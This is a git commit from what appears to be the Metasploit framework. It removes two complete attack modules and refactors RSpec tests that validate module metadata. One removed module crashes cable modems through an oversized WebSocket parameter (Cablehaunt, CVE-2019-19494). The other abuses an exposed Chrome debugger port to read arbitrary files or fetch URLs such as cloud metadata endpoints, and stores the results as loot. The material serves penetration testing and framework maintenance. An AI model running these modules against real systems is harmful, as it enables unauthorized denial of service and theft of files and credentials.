stop point
This commit is contained in:
parent
c3a7da54d5
commit
769e2e760c
|
@ -1,132 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'eventmachine'
|
||||
require 'faye/websocket'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => '"Cablehaunt" Cable Modem WebSocket DoS',
|
||||
'Description' => %q{
|
||||
There exists a buffer overflow vulnerability in certain
|
||||
Cable Modem Spectrum Analyzer interfaces. This overflow
|
||||
is exploitable, but since an exploit would differ between
|
||||
every make, model, and firmware version (which also
|
||||
differs from ISP to ISP), this module simply causes a
|
||||
Denial of Service to test if the vulnerability is present.
|
||||
},
|
||||
'Author' => [
|
||||
'Alexander Dalsgaard Krog (Lyrebirds)', # Original research, discovery, and PoC
|
||||
'Jens Hegner Stærmose (Lyrebirds)', # Original research, discovery, and PoC
|
||||
'Kasper Kohsel Terndrup (Lyrebirds)', # Original research, discovery, and PoC
|
||||
'Simon Vandel Sillesen (Independent)', # Original research, discovery, and PoC
|
||||
'Nicholas Starke' # msf module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-19494'],
|
||||
['EDB', '47936'],
|
||||
['URL', 'https://cablehaunt.com/'],
|
||||
['URL', 'https://github.com/Lyrebirds/sagemcom-fast-3890-exploit']
|
||||
],
|
||||
'DisclosureDate' => '2020-01-07',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST('192.168.100.1'),
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('WS_USERNAME', [true, 'WebSocket connection basic auth username', 'admin']),
|
||||
OptString.new('WS_PASSWORD', [true, 'WebSocket connection basic auth password', 'password']),
|
||||
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 15])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('Proxies')
|
||||
deregister_options('VHOST')
|
||||
deregister_options('SSL')
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
|
||||
fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
|
||||
|
||||
@succeeded = false
|
||||
EM.run do
|
||||
print_status("Attempting Connection to #{datastore['RHOST']}")
|
||||
|
||||
driver = Faye::WebSocket::Client.new("ws://#{datastore['RHOST']}:#{datastore['RPORT']}/Frontend", ['rpc-frontend'])
|
||||
|
||||
driver.on :open do
|
||||
print_status('Opened connection')
|
||||
|
||||
EM::Timer.new(1) do
|
||||
print_status('Sending payload')
|
||||
payload = Rex::Text.rand_text_alphanumeric(7000..8000)
|
||||
driver.send({
|
||||
jsonrpc: '2.0',
|
||||
method: 'Frontend::GetFrontendSpectrumData',
|
||||
params: {
|
||||
coreID: 0,
|
||||
fStartHz: payload,
|
||||
fStopHz: 1000000000,
|
||||
fftSize: 1024,
|
||||
gain: 1
|
||||
},
|
||||
id: '0'
|
||||
}.to_json)
|
||||
rescue StandardError
|
||||
fail_with(Failure::Unreachable, 'Could not establish websocket connection')
|
||||
end
|
||||
end
|
||||
|
||||
EM::Timer.new(10) do
|
||||
print_status('Checking Modem Status')
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
@succeeded = true
|
||||
print_status('Cable Modem unreachable')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Host still reachable')
|
||||
end
|
||||
rescue StandardError
|
||||
@succeeded = true
|
||||
print_status('Cable Modem unreachable')
|
||||
end
|
||||
end
|
||||
|
||||
EM::Timer.new(datastore['TIMEOUT']) do
|
||||
EventMachine.stop
|
||||
if @succeeded
|
||||
print_good('Exploit delivered and cable modem unreachable.')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Unknown failure occurred')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,132 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'eventmachine'
|
||||
require 'faye/websocket'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
|
||||
'Description' => %q{
|
||||
This module uses the Chrome Debugger's API to read
|
||||
files off the remote file system, or to make web requests
|
||||
from a remote machine. Useful for cloud metadata endpoints!
|
||||
},
|
||||
'Author' => [
|
||||
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
|
||||
'Nicholas Starke (The King Pig Demon)' # msf module
|
||||
],
|
||||
'DisclosureDate' => '2019-09-24',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9222),
|
||||
OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
|
||||
OptString.new('URL', [false, 'Url to fetch from remote machine.']),
|
||||
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('Proxies')
|
||||
deregister_options('VHOST')
|
||||
deregister_options('SSL')
|
||||
end
|
||||
|
||||
def run
|
||||
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
|
||||
print_error('Must set FilePath or Url')
|
||||
return
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/json'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error('Bad Response')
|
||||
return
|
||||
end
|
||||
|
||||
data = JSON.parse(res.body).pop
|
||||
EM.run do
|
||||
file_path = datastore['FILEPATH']
|
||||
url = datastore['URL']
|
||||
|
||||
if file_path
|
||||
fetch_uri = "file://#{file_path}"
|
||||
else
|
||||
fetch_uri = url
|
||||
end
|
||||
|
||||
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
|
||||
|
||||
unless data.key?('webSocketDebuggerUrl')
|
||||
fail_with(Failure::Unknown, 'Invalid JSON')
|
||||
end
|
||||
|
||||
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
|
||||
|
||||
driver.on :open do
|
||||
print_status('Opened connection')
|
||||
id = rand(1024 * 1024 * 1024)
|
||||
|
||||
@succeeded = false
|
||||
|
||||
EM::Timer.new(1) do
|
||||
print_status("Attempting to load url #{fetch_uri}")
|
||||
driver.send({
|
||||
'id' => id,
|
||||
'method' => 'Page.navigate',
|
||||
'params' => {
|
||||
url: fetch_uri
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
|
||||
EM::Timer.new(3) do
|
||||
print_status('Sending request for data')
|
||||
driver.send({
|
||||
'id' => id + 1,
|
||||
'method' => 'Runtime.evaluate',
|
||||
'params' => {
|
||||
'expression' => 'document.documentElement.outerHTML'
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
end
|
||||
|
||||
driver.on :message do |event|
|
||||
print_status('Received Data')
|
||||
|
||||
data = JSON.parse(event.data)
|
||||
|
||||
if data['result']['result']
|
||||
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
|
||||
print_good("Stored #{fetch_uri} at #{loot_path}")
|
||||
@succeeded = true
|
||||
end
|
||||
end
|
||||
|
||||
EM::Timer.new(datastore['TIMEOUT']) do
|
||||
EventMachine.stop
|
||||
fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -27,4 +27,8 @@ RSpec.describe 'modules', :content do
|
|||
module_type: 'post',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'posts'
|
||||
end
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'payload',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'payload'
|
||||
end
|
||||
|
|
|
@ -1,4 +1,23 @@
|
|||
RSpec.shared_examples_for 'a module with valid metadata' do
|
||||
require 'active_model'
|
||||
|
||||
# class IsAnArray < ActiveModel::Validator
|
||||
# def validate(mod)
|
||||
# unless mod.author.is_a?(Array)
|
||||
# mod.errors.add :author, 'must be an array'
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
class ModuleValidator < SimpleDelegator
|
||||
include ActiveModel::Validations
|
||||
|
||||
attr_reader :mod
|
||||
|
||||
def initialize(mod)
|
||||
super
|
||||
@mod = mod
|
||||
end
|
||||
|
||||
#
|
||||
# Acceptable Stability ratings
|
||||
#
|
||||
|
@ -59,184 +78,164 @@ RSpec.shared_examples_for 'a module with valid metadata' do
|
|||
'OVE'
|
||||
]
|
||||
|
||||
#
|
||||
# Module name bad characters
|
||||
#
|
||||
module_name_bad_chars = %w[& < = >]
|
||||
|
||||
# RSpec's API doesn't support a way to to not run tests without them appearing as 'skipped' in the console output
|
||||
def mark_as_passed(example)
|
||||
example.instance_variable_set(:@executed, true)
|
||||
end
|
||||
|
||||
around(:each, :has_notes) do |example|
|
||||
if subject.notes.empty?
|
||||
mark_as_passed(example)
|
||||
else
|
||||
example.run
|
||||
def validate_excellent_ranking
|
||||
if rank_to_s == 'excellent' && !stability.include?('crash-safe')
|
||||
errors.add :stability, 'module must have CRASH_SAFE stability value if module has an ExcellentRanking'
|
||||
end
|
||||
end
|
||||
|
||||
around(:each, :has_excellent_ranking) do |example|
|
||||
if subject.rank_to_s == 'excellent'
|
||||
example.run
|
||||
else
|
||||
mark_as_passed(example)
|
||||
def validate_authors
|
||||
unless author.is_a?(Array)
|
||||
errors.add :author, 'module authors must be an array'
|
||||
end
|
||||
end
|
||||
|
||||
around(:each, :is_an_exploit) do |example|
|
||||
# Only exploits require notes
|
||||
if subject.exploit?
|
||||
example.run
|
||||
else
|
||||
mark_as_passed(example)
|
||||
def validate_references
|
||||
unless references.is_a?(Array)
|
||||
errors.add :references, 'module references must be an array'
|
||||
end
|
||||
end
|
||||
|
||||
around(:each, :is_a_payload) do |example|
|
||||
# Only exploits require notes
|
||||
if subject.payload?
|
||||
example.run
|
||||
else
|
||||
mark_as_passed(example)
|
||||
def validate_description
|
||||
unless description.is_a?(String)
|
||||
errors.add :description, 'module description must be a string'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
context 'when notes are present', :has_notes do
|
||||
describe '#stability' do
|
||||
context 'when the module has an excellent stability rating', :has_excellent_ranking do
|
||||
it 'has valid Stability notes values' do
|
||||
expect(subject.stability).to be_kind_of(Array)
|
||||
expect(subject.stability - valid_stability_values).to be_empty
|
||||
end
|
||||
|
||||
it 'includes crash-safe in the stability notes' do
|
||||
expect(subject.stability).to include('crash-safe')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#side_effects' do
|
||||
it 'has valid Side Effect notes values' do
|
||||
expect(subject.side_effects).to be_kind_of(Array)
|
||||
expect(subject.side_effects - valid_side_effect_values).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reliability' do
|
||||
it 'has valid Reliability notes values' do
|
||||
expect(subject.reliability).to be_kind_of(Array)
|
||||
expect(subject.reliability - valid_reliability_values).to be_empty
|
||||
end
|
||||
def validate_stability
|
||||
unless stability.is_a?(Array)
|
||||
errors.add :stability, 'module stability must be an array'
|
||||
end
|
||||
end
|
||||
|
||||
describe '#references' do
|
||||
context 'the module' do
|
||||
it 'has valid References values' do
|
||||
expect(subject.references).to be_kind_of(Array)
|
||||
references_ctx_id_list = []
|
||||
subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
|
||||
expect(references_ctx_id_list - valid_ctx_id_values).to be_empty
|
||||
end
|
||||
|
||||
# it 'has a CVE present', :is_an_exploit do
|
||||
# references_ctx_id_list = []
|
||||
# required_references = %w[CVE BID ZDI MSB WPVDB EDB]
|
||||
# subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
|
||||
#
|
||||
# # if !references_ctx_id_list.include?(acceptable_refs)
|
||||
# # $stderr.puts subject.file_path
|
||||
# # end
|
||||
#
|
||||
# expect(references_ctx_id_list & required_references).to_not be_empty
|
||||
# end
|
||||
def validate_side_effects
|
||||
unless side_effects.is_a?(Array)
|
||||
errors.add :side_effects, 'module side effects must be an array'
|
||||
end
|
||||
end
|
||||
|
||||
describe '#license' do
|
||||
context 'the module' do
|
||||
it 'has a valid license value' do
|
||||
expect(subject.license).to be_in(LICENSES)
|
||||
end
|
||||
def validate_reliability
|
||||
unless reliability.is_a?(Array)
|
||||
errors.add :reliability, 'module reliability must be an array'
|
||||
end
|
||||
end
|
||||
|
||||
describe '#ranking' do
|
||||
context 'when the module has a ranking present' do
|
||||
it 'has a valid ranking value' do
|
||||
expect(subject.rank).to be_in(Msf::RankingName.keys)
|
||||
end
|
||||
end
|
||||
def requires_author?
|
||||
#
|
||||
# Module types that require authors
|
||||
#
|
||||
requires_authors = %w[exploits auxiliary post]
|
||||
requires_authors.include?(type)
|
||||
end
|
||||
|
||||
describe '#authors' do
|
||||
context 'the module' do
|
||||
it 'has valid authors values' do
|
||||
expect(subject.references).to be_kind_of(Array)
|
||||
expect(subject.author).to_not be_empty
|
||||
end
|
||||
end
|
||||
def payload?
|
||||
type == 'payload'
|
||||
end
|
||||
|
||||
describe '#name' do
|
||||
context 'the module name' do
|
||||
it ' should not contain bad characters' do
|
||||
expect(subject.name).to_not include(*module_name_bad_chars)
|
||||
end
|
||||
end
|
||||
def has_notes?
|
||||
!notes.empty?
|
||||
end
|
||||
|
||||
describe '#file_path' do
|
||||
context 'when the module has a file path' do
|
||||
let(:module_path) do
|
||||
subject.file_path.split('/').last
|
||||
end
|
||||
validates :mod, presence: true
|
||||
|
||||
it 'should be snake case' do
|
||||
expect(module_path).to match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/)
|
||||
end
|
||||
with_options if: :has_notes? do |mod|
|
||||
mod.validates :stability,
|
||||
presence: true,
|
||||
if: :validate_excellent_ranking
|
||||
|
||||
# Not sure if this is needed as it is caught in the above regex.
|
||||
# Will leave here for now as I am attempting to replicate `msftidy.rb` which
|
||||
# may be allowing for edges I haven't considered
|
||||
it "should a '.rb' file" do
|
||||
expect(module_path).to end_with('.rb')
|
||||
end
|
||||
end
|
||||
mod.validates :stability,
|
||||
inclusion: { in: valid_stability_values, message: 'must include a valid stability value' },
|
||||
if: :validate_stability
|
||||
|
||||
mod.validates :side_effects,
|
||||
inclusion: { in: valid_side_effect_values, message: 'must include a valid side effect value' },
|
||||
if: :validate_side_effects
|
||||
|
||||
mod.validates :reliability,
|
||||
inclusion: { in: valid_reliability_values, message: 'must include a valid reliability value' },
|
||||
if: :validate_reliability
|
||||
end
|
||||
|
||||
# ## TODO - Need to figure out if this can be moved from `msfidy.rb` or not
|
||||
# describe '#disclosure_date' do
|
||||
# context 'the module' do
|
||||
# it 'has a disclosure date present', :is_an_exploit do
|
||||
# expect(subject.disclosure_date).to be_kind_of(Date)
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
validates :references,
|
||||
presence: true,
|
||||
inclusion: { in: valid_ctx_id_values, message: 'must include a valid reference' },
|
||||
if: :validate_references
|
||||
|
||||
describe '#description' do
|
||||
context 'the module' do
|
||||
it 'has a description present', :is_a_payload do
|
||||
expect(subject.description).to be_kind_of(String)
|
||||
expect(subject.description).to_not be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
validates :license,
|
||||
presence: true,
|
||||
inclusion: { in: LICENSES, message: 'must include a valid license' }
|
||||
|
||||
## TODO - As of 21/03/2023
|
||||
# 3534 examples, 1857 failures
|
||||
# describe '#notes' do
|
||||
# context 'the module' do
|
||||
# it 'has notes present', focus: true do
|
||||
# # Only exploits require notes
|
||||
# next unless subject.exploit?
|
||||
#
|
||||
# # expect(subject.notes).to be_kind_of(Hash)
|
||||
# expect(subject.notes).to_not be_empty
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
validates :rank,
|
||||
presence: true,
|
||||
inclusion: { in: Msf::RankingName.keys, message: 'must include a valid ranking' }
|
||||
|
||||
# validates :author_to_s, # TODO: Bad error message
|
||||
# format: { with: /\A[^@.]+\z/, message: 'must not include Twitter handles, please. Try leaving it in a comment instead.'}
|
||||
|
||||
validates :author,
|
||||
presence: true,
|
||||
if: :requires_author? && :validate_authors
|
||||
|
||||
validates :name,
|
||||
presence: true,
|
||||
format: { with: /\A[^&<>]+\z/, message: 'must not contain the characters ^&<>' }
|
||||
|
||||
validates :file_path,
|
||||
presence: true,
|
||||
if: -> { file_path.split('/').last.match(/^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/) }
|
||||
|
||||
validates :description,
|
||||
presence: true,
|
||||
if: :validate_description,
|
||||
unless: :payload?
|
||||
end
|
||||
|
||||
RSpec.shared_examples_for 'a module with valid metadata' do
|
||||
|
||||
# def get_reference_ctx_id
|
||||
# references_ctx_id_list = []
|
||||
# subject.references.each { |ref| references_ctx_id_list << ref.ctx_id }
|
||||
#
|
||||
# references_ctx_id_list
|
||||
# end
|
||||
|
||||
# let(:mod) do
|
||||
# framework = instance_double(Msf::Framework)
|
||||
# instance_double(
|
||||
# Msf::Exploit,
|
||||
# framework: framework,
|
||||
# name: 'Testing bad chars',
|
||||
# author: ['Foobar'], # TODO: Only exploits, auxiliary and post require authors
|
||||
# license: MSF_LICENSE,
|
||||
# references: ['CVE'], # TODO: Needs to access the keys and compare
|
||||
# rank_to_s: 'excellent',
|
||||
# rank: 600,
|
||||
# notes: {},
|
||||
# stability: ['crash-safe'],
|
||||
# side_effects: ['artifacts-on-disk'],
|
||||
# reliability: ['first-attempt-fail'],
|
||||
# file_path: 'modules/exploits/windows/smb/cve_2020_0796_smbghost.rb',
|
||||
# description: %q{
|
||||
# A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
|
||||
# execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
|
||||
# in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
|
||||
# can take a few minutes as the necessary data is gathered.
|
||||
# }
|
||||
# )
|
||||
# end
|
||||
|
||||
it 'verifies modules metadata' do
|
||||
|
||||
# aggregate_failures do
|
||||
|
||||
# Verify we have a instance of the module
|
||||
expect(subject).to_not be_nil
|
||||
|
||||
validator = ModuleValidator.new(subject)
|
||||
|
||||
validator.validate
|
||||
# expect(validator).to be_valid
|
||||
expect(validator.errors.full_messages).to be_kind_of(Array)
|
||||
# end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -23,29 +23,17 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do
|
|||
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
|
||||
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
|
||||
|
||||
context module_reference_name do
|
||||
def framework
|
||||
@framework ||= Msf::Simple::Framework.create(
|
||||
'ConfigDirectory' => Rails.application.paths['modules'].expanded.first,
|
||||
'DeferModuleLoads' => true
|
||||
)
|
||||
end
|
||||
# next unless module_reference_name.include?('windows/smb/cve_2020_0796_smbghost')
|
||||
|
||||
before(:all) do
|
||||
@module = load_and_create_module(
|
||||
context module_reference_name do
|
||||
subject do
|
||||
load_and_create_module(
|
||||
module_type: module_type,
|
||||
modules_path: modules_path,
|
||||
reference_name: module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
subject { @module }
|
||||
|
||||
it 'can be instantiated' do
|
||||
expect { subject }.to_not raise_exception
|
||||
expect(subject).to_not be_nil
|
||||
end
|
||||
|
||||
it_behaves_like 'a module with valid metadata'
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue